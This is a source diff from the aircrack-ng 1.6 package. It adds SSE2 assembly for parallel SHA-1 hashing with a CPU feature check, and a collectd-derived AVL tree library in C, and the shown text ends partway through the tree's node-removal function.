+#if defined(__x86_64__) && defined(__CYGWIN__)
+ #define edx_rsi %rdx     // arg2
+ #define ecx_rdx %r8      // arg3
+ #define eax_rdi %rcx     // arg1
+#elif defined(__x86_64__)
+ #define edx_rsi %rsi     // arg2
+ #define ecx_rdx %rdx     // arg3
+ #define eax_rdi %rdi     // arg1
+#else
+ #define edx_rsi %edx
+ #define ecx_rdx %ecx
+ #define eax_rdi %eax
+#endif
+
+// movdqa movapd
+
+#define F0(x,y,z)       \
+        movdqa   x, tmp2; \
+        movdqa   x, tmp1; \
+        pand   y, tmp2; \
+        pandn  z, tmp1; \
+        por    tmp2, tmp1; 
+
+#define F1(x,y,z)       \
+        movdqa   z, tmp1; \
+        pxor   y, tmp1; \
+        pxor   x, tmp1
+
+#define F2(x,y,z)       \
+        movdqa   x, tmp1; \
+        movdqa   x, tmp2; \
+        pand   y, tmp1; \
+        por    y, tmp2; \
+        pand   z, tmp2; \
+        por    tmp2, tmp1;
+        
+#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
+#define subRoundX(a, b, c, d, e, f, k, data)    \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        paddd  MANGLE(k,shasse2_data), e;			\
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;                         \
+        movdqa   (data*16)(edx_rsi), tmp1;      \
+        movdqa   tmp1, tmp2;                    \
+        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
+        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
+        psrld  $8, tmp1;                        \
+        pslld  $8, tmp2;                        \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, tmp2;                    \
+        psrld  $16, tmp1;                       \
+        pslld  $16, tmp2;                       \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, (data*16)(ecx_rdx);      \
+        paddd  tmp1, e;
+#else
+#define subRoundX(a, b, c, d, e, f, k, data)    \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        PRELOAD(k,shasse2_data)				\
+        paddd  MANGLE(k,shasse2_data), e;			\
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;                         \
+        movdqa   (data*16)(edx_rsi), tmp1;      \
+        movdqa   tmp1, tmp2;                    \
+        PRELOAD(const_ff00,shasse2_data)			\
+        pand   MANGLE(const_ff00,shasse2_data), tmp1;        \
+        PRELOAD(const_00ff,shasse2_data)			\
+        pand   MANGLE(const_00ff,shasse2_data), tmp2;        \
+        psrld  $8, tmp1;                        \
+        pslld  $8, tmp2;                        \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, tmp2;                    \
+        psrld  $16, tmp1;                       \
+        pslld  $16, tmp2;                       \
+        por    tmp2, tmp1;                      \
+        movdqa   tmp1, (data*16)(ecx_rdx);      \
+        paddd  tmp1, e;
+#endif
+
+#if defined(__x86_64__) && (defined(__CYGWIN__) && !defined(__clang__))
+#define subRoundY(a, b, c, d, e, f, k, data)    \
+	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
+        movdqa   tmp1, tmp2;                    \
+        pslld    $1, tmp1;                      \
+        psrld   $31, tmp2;                      \
+        por    tmp2, tmp1;                      \
+        movdqa  tmp1, (data*16)(ecx_rdx);       \
+        paddd  tmp1, e;                         \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        paddd  MANGLE(k,shasse2_data), e;                    \
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;
+#else
+#define subRoundY(a, b, c, d, e, f, k, data)    \
+	movdqa ((data- 3)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data- 8)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-14)*16)(ecx_rdx), tmp1;   \
+        pxor   ((data-16)*16)(ecx_rdx), tmp1;   \
+        movdqa   tmp1, tmp2;                    \
+        pslld    $1, tmp1;                      \
+        psrld   $31, tmp2;                      \
+        por    tmp2, tmp1;                      \
+        movdqa  tmp1, (data*16)(ecx_rdx);       \
+        paddd  tmp1, e;                         \
+        f(b,c,d);                               \
+        movdqa   a, tmp2;                       \
+        movdqa   a, tmp3;                       \
+        paddd  tmp1, e;                         \
+        pslld    $5, tmp2;                      \
+        psrld   $27, tmp3;                      \
+        por    tmp3, tmp2;                      \
+        paddd  tmp2, e;                         \
+        movdqa   b, tmp2;                       \
+        pslld  $30, b;                          \
+        PRELOAD(k,shasse2_data)				\
+        paddd  MANGLE(k,shasse2_data), e;                    \
+        psrld  $2, tmp2;                        \
+        por    tmp2, b;
+#endif 
+.text
+
+// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
+
+ shasse2_init:
+_shasse2_init:
+
+        INIT_PIC(shasse2_init)
+        PRELOAD(const_init_a,shasse2_init)
+        movdqa   MANGLE(const_init_a,shasse2_init), ctxa
+        PRELOAD(const_init_b,shasse2_init)
+        movdqa   MANGLE(const_init_b,shasse2_init), ctxb
+        PRELOAD(const_init_c,shasse2_init)
+        movdqa   MANGLE(const_init_c,shasse2_init), ctxc
+        PRELOAD(const_init_d,shasse2_init)
+        movdqa   MANGLE(const_init_d,shasse2_init), ctxd
+        PRELOAD(const_init_e,shasse2_init)
+        movdqa   MANGLE(const_init_e,shasse2_init), ctxe
+
+        movdqa   ctxa, 0(eax_rdi)
+        movdqa   ctxb, 16(eax_rdi)
+        movdqa   ctxc, 32(eax_rdi)
+        movdqa   ctxd, 48(eax_rdi)
+        movdqa   ctxe, 64(eax_rdi)
+        END_PIC()
+
+        ret
+
+// arg 1 (eax) (64bit: rdi): context (4*20 bytes)
+// arg 2 (edx) (64bit: rsi) : digests (4*20 bytes)
+
+ shasse2_ends:
+_shasse2_ends:
+
+        INIT_PIC(shasse2_ends)
+	movdqa    0(eax_rdi), ctxa
+        movdqa   16(eax_rdi), ctxb
+        movdqa   32(eax_rdi), ctxc
+        movdqa   48(eax_rdi), ctxd
+        movdqa   64(eax_rdi), ctxe
+
+        PRELOAD(const_ff00,shasse2_ends)
+        movdqa   MANGLE(const_ff00,shasse2_ends), tmp3
+        movdqa   ctxa, tmp1
+        movdqa   ctxb, tmp2
+        pand   tmp3, ctxa
+        pand   tmp3, ctxb
+        PRELOAD(const_00ff,shasse2_ends)
+        movdqa   MANGLE(const_00ff,shasse2_ends), tmp3
+        pand   tmp3, tmp1
+        pand   tmp3, tmp2
+        psrld  $8, ctxa
+        psrld  $8, ctxb
+        pslld  $8, tmp1
+        pslld  $8, tmp2
+        por    tmp1, ctxa
+        por    tmp2, ctxb
+        movdqa   ctxa, tmp1
+        movdqa   ctxb, tmp2
+        psrld  $16, ctxa
+        psrld  $16, ctxb
+        pslld  $16, tmp1
+        pslld  $16, tmp2
+        por    tmp1, ctxa
+        por    tmp2, ctxb 
+        movdqa   ctxa,  0(edx_rsi)
+        movdqa   ctxb,  16(edx_rsi)
+
+        PRELOAD(const_ff00,shasse2_ends)
+        movdqa   MANGLE(const_ff00,shasse2_ends), tmp5
+        movdqa   ctxc, tmp1
+        movdqa   ctxd, tmp2
+        movdqa   ctxe, tmp3
+        pand   tmp5, ctxc
+        pand   tmp5, ctxd
+        pand   tmp5, ctxe
+        PRELOAD(const_00ff,shasse2_ends)
+        movdqa   MANGLE(const_00ff,shasse2_ends), tmp5
+        pand   tmp5, tmp1
+        pand   tmp5, tmp2
+        pand   tmp5, tmp3
+        psrld  $8, ctxc
+        psrld  $8, ctxd
+        psrld  $8, ctxe
+        pslld  $8, tmp1
+        pslld  $8, tmp2
+        pslld  $8, tmp3
+        por    tmp1, ctxc
+        por    tmp2, ctxd
+        por    tmp3, ctxe
+        movdqa   ctxc, tmp1
+        movdqa   ctxd, tmp2
+        movdqa   ctxe, tmp3
+        psrld  $16, ctxc
+        psrld  $16, ctxd
+        psrld  $16, ctxe
+        pslld  $16, tmp1
+        pslld  $16, tmp2
+        pslld  $16, tmp3
+        por    tmp1, ctxc
+        por    tmp2, ctxd
+        por    tmp3, ctxe
+
+        movdqa   ctxc, 32(edx_rsi)
+        movdqa   ctxd, 48(edx_rsi)
+        movdqa   ctxe, 64(edx_rsi)
+        END_PIC()
+
+        ret
+
+// arg 1 (eax) (64bit: rdi): context     (4*20 bytes)
+// arg 2 (edx) (64bit: rsi): input data (4*64 bytes)
+// arg 3 (ecx) (64bit: rdx): workspace  (1280 bytes)
+
+ shasse2_data:
+_shasse2_data:
+
+        INIT_PIC(shasse2_data)
+        movdqa    0(eax_rdi), ctxa
+        movdqa   16(eax_rdi), ctxb
+        movdqa   32(eax_rdi), ctxc
+        movdqa   48(eax_rdi), ctxd
+        movdqa   64(eax_rdi), ctxe
+
+round0:
+
+        prefetchnta (edx_rsi)
+
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  0 );
+        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  1 );
+        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  2 );
+        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  3 );
+        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  4 );
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0,  5 );
+        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0,  6 );
+        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0,  7 );
+        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0,  8 );
+        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0,  9 );
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 10 );
+        subRoundX( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 11 );
+        subRoundX( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 12 );
+        subRoundX( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 13 );
+        subRoundX( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 14 );
+        subRoundX( ctxa, ctxb, ctxc, ctxd, ctxe, F0, const_stage0, 15 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F0, const_stage0, 16 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F0, const_stage0, 17 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F0, const_stage0, 18 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F0, const_stage0, 19 );
+
+round1:
+
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 20 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 21 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 22 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 23 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 24 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 25 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 26 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 27 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 28 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 29 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 30 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 31 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 32 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 33 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 34 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage1, 35 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage1, 36 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage1, 37 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage1, 38 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage1, 39 );
+
+round2:
+
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 40 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 41 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 42 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 43 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 44 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 45 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 46 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 47 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 48 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 49 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 50 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 51 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 52 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 53 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 54 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F2, const_stage2, 55 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F2, const_stage2, 56 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F2, const_stage2, 57 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F2, const_stage2, 58 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F2, const_stage2, 59 );
+
+round3:
+
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 60 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 61 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 62 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 63 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 64 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 65 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 66 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 67 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 68 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 69 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 70 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 71 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 72 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 73 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 74 );
+        subRoundY( ctxa, ctxb, ctxc, ctxd, ctxe, F1, const_stage3, 75 );
+        subRoundY( ctxe, ctxa, ctxb, ctxc, ctxd, F1, const_stage3, 76 );
+        subRoundY( ctxd, ctxe, ctxa, ctxb, ctxc, F1, const_stage3, 77 );
+        subRoundY( ctxc, ctxd, ctxe, ctxa, ctxb, F1, const_stage3, 78 );
+        subRoundY( ctxb, ctxc, ctxd, ctxe, ctxa, F1, const_stage3, 79 );
+
+        paddd    0(eax_rdi), ctxa
+        paddd   16(eax_rdi), ctxb
+        paddd   32(eax_rdi), ctxc
+        paddd   48(eax_rdi), ctxd
+        paddd   64(eax_rdi), ctxe
+
+        movdqa    ctxa,  0(eax_rdi)
+        movdqa    ctxb, 16(eax_rdi)
+        movdqa    ctxc, 32(eax_rdi)
+        movdqa    ctxd, 48(eax_rdi)
+        movdqa    ctxe, 64(eax_rdi)
+        END_PIC()
+
+        ret
+
+// returns 0 if neither MMX nor SSE2 are supported; 1 if MMX is supported; 2 if SSE2 is also supported
+ shasse2_cpuid:
+_shasse2_cpuid:
+#ifndef __x86_64__
+		pushfl
+		pushfl
+		popl	%eax
+		movl	%eax, %ecx
+		xorl	$0x200000, %eax
+		push	%eax
+		popfl
+		pushfl
+		popl	%eax
+		popfl
+		xorl	%ecx, %eax
+		jnz		do_cpuid
+		ret
+do_cpuid:
+#endif   	
+
+#ifdef __x86_64__
+		push    %rbx
+		push    %rcx
+		push    %rdx
+#else
+		push	%ebx
+		push	%ecx
+		push	%edx
+#endif		
+   		movl	$1, %eax
+   		cpuid
+   		
+		testl	$0x00800000, %edx  // bit 23 (MMX)
+		jz		no_mmx
+   		testl	$0x04000000, %edx  // bit 26 (SSE2)
+   		jz		mmx_only
+   		
+		// sse2 supported:
+		movl	$2, %eax
+		jmp		cpuid_exit
+		
+mmx_only:
+		movl	$1, %eax
+		jmp		cpuid_exit
+
+no_mmx:
+		movl	$0, %eax
+
+cpuid_exit:
+#ifdef __x86_64__
+		pop		%rdx
+		pop		%rcx
+		pop		%rbx
+#else
+		pop		%edx
+		pop		%ecx
+		pop		%ebx
+#endif
+		ret
+#ifdef __i386__
+#ifdef __PIC__
+#ifndef __APPLE__
+	.section .gnu.linkonce.t.__i686.get_pc_thunk.bx,"ax",@progbits
+#endif
+.globl __i686.get_pc_thunk.bx
+
+#ifdef __APPLE__
+    .private_extern  __i686.get_pc_thunk.bx
+#else
+	.hidden  __i686.get_pc_thunk.bx
+	.type    __i686.get_pc_thunk.bx,@function
+#endif
+__i686.get_pc_thunk.bx:
+	movl (%esp), %ebx
+	ret
+#endif
+#endif
+#endif
+
+#if defined(__linux__) && defined(__ELF__)
+.section .note.GNU-stack,"",%progbits
+#endif

aircrack-ng-1.6.tar.gz/lib/libac Added

aircrack-ng-1.6.tar.gz/lib/libac/adt Added

aircrack-ng-1.6.tar.gz/lib/libac/adt/avl_tree.c Added

@@ -0,0 +1,714 @@
+/**
+ * collectd - src/utils_avltree.c
+ * Copyright (C) 2006,2007  Florian octo Forster
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ *
+ * Authors:
+ *   Florian octo Forster <octo at collectd.org>
+ **/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <assert.h>
+#include <stdlib.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/adt/avl_tree.h"
+
+#define BALANCE(n)                                                             \
+	((((n)->left == NULL) ? 0 : (n)->left->height)                             \
+	 - (((n)->right == NULL) ? 0 : (n)->right->height))
+
+/*
+ * private data types
+ */
+struct c_avl_node_s
+{
+	void * key;
+	void * value;
+
+	int height;
+	struct c_avl_node_s * left;
+	struct c_avl_node_s * right;
+	struct c_avl_node_s * parent;
+};
+typedef struct c_avl_node_s c_avl_node_t;
+
+struct c_avl_tree_s
+{
+	c_avl_node_t * root;
+	int (*compare)(const void *, const void *);
+	int size;
+};
+
+struct c_avl_iterator_s
+{
+	c_avl_tree_t * tree;
+	c_avl_node_t * node;
+};
+
+/*
+ * private functions
+ */
+#if 0
+static void verify_tree (c_avl_node_t *n)
+{
+	if (n == NULL)
+		return;
+
+	verify_tree (n->left);
+	verify_tree (n->right);
+
+	assert ((BALANCE (n) >= -1) && (BALANCE (n) <= 1));
+	assert ((n->parent == NULL) || (n->parent->right == n) || (n->parent->left == n));
+} /* void verify_tree */
+#else
+#define verify_tree(n) /**/
+#endif
+
+static void free_node(c_avl_node_t * n)
+{
+	if (n == NULL) return;
+
+	if (n->left != NULL) free_node(n->left);
+	if (n->right != NULL) free_node(n->right);
+
+	free(n);
+}
+
+static int calc_height(c_avl_node_t * n)
+{
+	int height_left;
+	int height_right;
+
+	if (n == NULL) return 0;
+
+	height_left = (n->left == NULL) ? 0 : n->left->height;
+	height_right = (n->right == NULL) ? 0 : n->right->height;
+
+	return ((height_left > height_right) ? height_left : height_right) + 1;
+} /* int calc_height */
+
+static c_avl_node_t * search(c_avl_tree_t * t, const void * key)
+{
+	c_avl_node_t * n;
+	int cmp;
+
+	n = t->root;
+	while (n != NULL)
+	{
+		cmp = t->compare(key, n->key);
+		if (cmp == 0)
+			return n;
+		else if (cmp < 0)
+			n = n->left;
+		else
+			n = n->right;
+	}
+
+	return NULL;
+}
+
+/*         (x)             (y)
+ *        /   \           /   \
+ *     (y)    /\         /\    (x)
+ *    /   \  /_c\  ==>  / a\  /   \
+ *   /\   /\           /____\/\   /\
+ *  / a\ /_b\               /_b\ /_c\
+ * /____\
+ */
+static c_avl_node_t * rotate_right(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	c_avl_node_t * p;
+	c_avl_node_t * y;
+	c_avl_node_t * b;
+
+	assert(x != NULL);
+	assert(x->left != NULL);
+
+	p = x->parent;
+	y = x->left;
+	b = y->right;
+
+	x->left = b;
+	if (b != NULL) b->parent = x;
+
+	x->parent = y;
+	y->right = x;
+
+	y->parent = p;
+	assert((p == NULL) || (p->left == x) || (p->right == x));
+	if (p == NULL)
+		t->root = y;
+	else if (p->left == x)
+		p->left = y;
+	else
+		p->right = y;
+
+	x->height = calc_height(x);
+	y->height = calc_height(y);
+
+	return y;
+} /* void rotate_right */
+
+/*
+ *    (x)                   (y)
+ *   /   \                 /   \
+ *  /\    (y)           (x)    /\
+ * /_a\  /   \   ==>   /   \  / c\
+ *      /\   /\       /\   /\/____\
+ *     /_b\ / c\     /_a\ /_b\
+ *         /____\
+ */
+static c_avl_node_t * rotate_left(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	c_avl_node_t * p;
+	c_avl_node_t * y;
+	c_avl_node_t * b;
+
+	assert(x != NULL);
+	assert(x->right != NULL);
+
+	p = x->parent;
+	y = x->right;
+	b = y->left;
+
+	x->right = b;
+	if (b != NULL) b->parent = x;
+
+	x->parent = y;
+	y->left = x;
+
+	y->parent = p;
+	assert((p == NULL) || (p->left == x) || (p->right == x));
+	if (p == NULL)
+		t->root = y;
+	else if (p->left == x)
+		p->left = y;
+	else
+		p->right = y;
+
+	x->height = calc_height(x);
+	y->height = calc_height(y);
+
+	return y;
+} /* void rotate_left */
+
+static c_avl_node_t * rotate_left_right(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	rotate_left(t, x->left);
+	return rotate_right(t, x);
+} /* void rotate_left_right */
+
+static c_avl_node_t * rotate_right_left(c_avl_tree_t * t, c_avl_node_t * x)
+{
+	rotate_right(t, x->right);
+	return rotate_left(t, x);
+} /* void rotate_right_left */
+
+static void rebalance(c_avl_tree_t * t, c_avl_node_t * n)
+{
+	int b_top;
+	int b_bottom;
+
+	while (n != NULL)
+	{
+		b_top = BALANCE(n);
+		assert((b_top >= -2) && (b_top <= 2));
+
+		if (b_top == -2)
+		{
+			assert(n->right != NULL);
+			b_bottom = BALANCE(n->right);
+			assert((b_bottom >= -1) && (b_bottom <= 1));
+			if (b_bottom == 1)
+				n = rotate_right_left(t, n);
+			else
+				n = rotate_left(t, n);
+		}
+		else if (b_top == 2)
+		{
+			assert(n->left != NULL);
+			b_bottom = BALANCE(n->left);
+			assert((b_bottom >= -1) && (b_bottom <= 1));
+			if (b_bottom == -1)
+				n = rotate_left_right(t, n);
+			else
+				n = rotate_right(t, n);
+		}
+		else
+		{
+			int height = calc_height(n);
+			if (height == n->height) break;
+			n->height = height;
+		}
+
+		assert(n->height == calc_height(n));
+
+		n = n->parent;
+	} /* while (n != NULL) */
+} /* void rebalance */
+
+static c_avl_node_t * c_avl_node_next(c_avl_node_t * n)
+{
+	c_avl_node_t * r; /* return node */
+
+	if (n == NULL)
+	{
+		return NULL;
+	}
+
+	/* If we can't descent any further, we have to backtrack to the first
+	 * parent that's bigger than we, i. e. who's _left_ child we are. */
+	if (n->right == NULL)
+	{
+		r = n->parent;
+		while ((r != NULL) && (r->parent != NULL))
+		{
+			if (r->left == n) break;
+			n = r;
+			r = n->parent;
+		}
+
+		/* n->right == NULL && r == NULL => t is root and has no next
+		 * r->left != n => r->right = n => r->parent == NULL */
+		if ((r == NULL) || (r->left != n))
+		{
+			assert((r == NULL) || (r->parent == NULL));
+			return NULL;
+		}
+		else
+		{
+			assert(r->left == n);
+			return r;
+		}
+	}
+	else
+	{
+		r = n->right;
+		while (r->left != NULL) r = r->left;
+	}
+
+	return r;
+} /* c_avl_node_t *c_avl_node_next */
+
+static c_avl_node_t * c_avl_node_prev(c_avl_node_t * n)
+{
+	c_avl_node_t * r; /* return node */
+
+	if (n == NULL)
+	{
+		return NULL;
+	}
+
+	/* If we can't descent any further, we have to backtrack to the first
+	 * parent that's smaller than we, i. e. who's _right_ child we are. */
+	if (n->left == NULL)
+	{
+		r = n->parent;
+		while ((r != NULL) && (r->parent != NULL))
+		{
+			if (r->right == n) break;
+			n = r;
+			r = n->parent;
+		}
+
+		/* n->left == NULL && r == NULL => t is root and has no next
+		 * r->right != n => r->left = n => r->parent == NULL */
+		if ((r == NULL) || (r->right != n))
+		{
+			assert((r == NULL) || (r->parent == NULL));
+			return NULL;
+		}
+		else
+		{
+			assert(r->right == n);
+			return r;
+		}
+	}
+	else
+	{
+		r = n->left;
+		while (r->right != NULL) r = r->right;
+	}
+
+	return r;
+} /* c_avl_node_t *c_avl_node_prev */
+
+static int _remove(c_avl_tree_t * t, c_avl_node_t * n)
+{
+	assert((t != NULL) && (n != NULL));
+
+	if ((n->left != NULL) && (n->right != NULL))
+	{
+		c_avl_node_t * r; /* replacement node */
+		if (BALANCE(n) > 0) /* left subtree is higher */
+		{
+			assert(n->left != NULL); //-V547
+			r = c_avl_node_prev(n);
+		}
+		else /* right subtree is higher */
+		{
+			assert(n->right != NULL); //-V547
+			r = c_avl_node_next(n);
+		}
+
+		ALLEGE(r != NULL && ((r->left == NULL) || (r->right == NULL)));
+
+		/* copy content */
+		n->key = r->key;
+		n->value = r->value;
+
+		n = r;
+	}
+
+	ALLEGE(n != NULL && ((n->left == NULL) || (n->right == NULL)));
+
+	if ((n->left == NULL) && (n->right == NULL))
+	{
+		/* Deleting a leave is easy */
+		if (n->parent == NULL)
+		{
+			assert(t->root == n);
+			t->root = NULL;
+		}
+		else
+		{
+			assert((n->parent->left == n) || (n->parent->right == n));
+			if (n->parent->left == n)
+				n->parent->left = NULL;
+			else
+				n->parent->right = NULL;
+
+			rebalance(t, n->parent);
+		}
+
+		free_node(n);
+	}
+	else if (n->left == NULL)
+	{
+		assert(BALANCE(n) == -1); //-V547
+		assert((n->parent == NULL) || (n->parent->left == n)
+			   || (n->parent->right == n));
+		if (n->parent == NULL)
+		{
+			assert(t->root == n);
+			t->root = n->right;
+		}
+		else if (n->parent->left == n)
+		{
+			n->parent->left = n->right;
+		}
+		else
+		{
+			n->parent->right = n->right;
+		}
+		ALLEGE(n->right != NULL);
+		n->right->parent = n->parent;
+
+		if (n->parent != NULL) rebalance(t, n->parent);
+
+		n->right = NULL;
+		free_node(n);
+	}
+	else if (n->right == NULL)
+	{
+		assert(BALANCE(n) == 1); //-V547
+		assert((n->parent == NULL) || (n->parent->left == n)
+			   || (n->parent->right == n));
+		if (n->parent == NULL)
+		{
